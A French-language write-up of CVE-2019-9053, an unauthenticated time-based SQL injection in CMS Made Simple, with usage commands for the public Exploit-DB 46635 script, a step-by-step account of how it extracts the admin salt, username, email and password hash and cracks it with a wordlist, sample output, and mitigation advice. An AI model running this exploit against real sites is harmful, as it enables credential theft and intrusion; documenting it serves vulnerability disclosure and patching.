CVE-2019-9053 — Injection SQL non authentifiée dans CMS Made Simple

Description

CVE-2019-9053 est une vulnérabilité d'injection SQL time-based blind qui affecte CMS Made Simple dans les versions ≤ 2.2.9. Elle ne nécessite pas d'authentification.

Le paramètre vulnérable est m1_idlist dans le module News (moduleinterface.php). Un attaquant peut l'exploiter pour extraire le hachage du mot de passe de l'administrateur, son nom d'utilisateur, son adresse e-mail et le salt utilisé pour le hachage.

Le schéma de stockage des mots de passe est MD5(salt + password), où le salt fait 8 octets. Cela permet, une fois le hachage et le salt obtenus, de tenter de casser le mot de passe hors ligne avec des outils comme hashcat ou John the Ripper.

CVSS 3.1 : 7,5 (ÉLEVÉ) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Détails techniques

Exploit

Auteur original

Daniele Scanu — @Certimeter Group

L'exploit original se trouve sur Exploit-DB #46635.

Prérequis

• Python 2.7
• requests, termcolor

pip2 install requests termcolor

Utilisation

# Extraire les identifiants (salt, utilisateur, email, hachage mot de passe)
python 46635.py -u http://cible/cmsms

# Extraire les identifiants et tenter de casser le mot de passe avec une wordlist
python 46635.py -u http://cible/cmsms --crack -w /chemin/vers/rockyou.txt

Paramètres

Fonctionnement

L'exploit envoie des requêtes HTTP avec des payloads SQL contenant SLEEP() pour déterminer caractère par caractère :

1. Salt : Extrait le salt de cms_siteprefs où sitepref_name = 'sitemask'
2. Nom d'utilisateur : Extrait le nom d'utilisateur de cms_users où user_id = 1
3. Email : Extrait l'email du premier administrateur
4. Hachage du mot de passe : Extrait le hachage de cms_users
5. Cassage (optionnel) : Teste chaque ligne de la wordlist contre MD5(salt + password)

Exemple de sortie

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: [email protected]
[+] Password found: 62def4866937f08cc13bab43bb14e6f7

Atténuation

• Mettre à jour CMS Made Simple vers la version ≥ 2.2.10
• Si la mise à jour n'est pas possible, désactiver le module News ou restreindre l'accès à moduleinterface.php

Références

• NVD — CVE-2019-9053
• Exploit-DB #46635
• CVE Mitre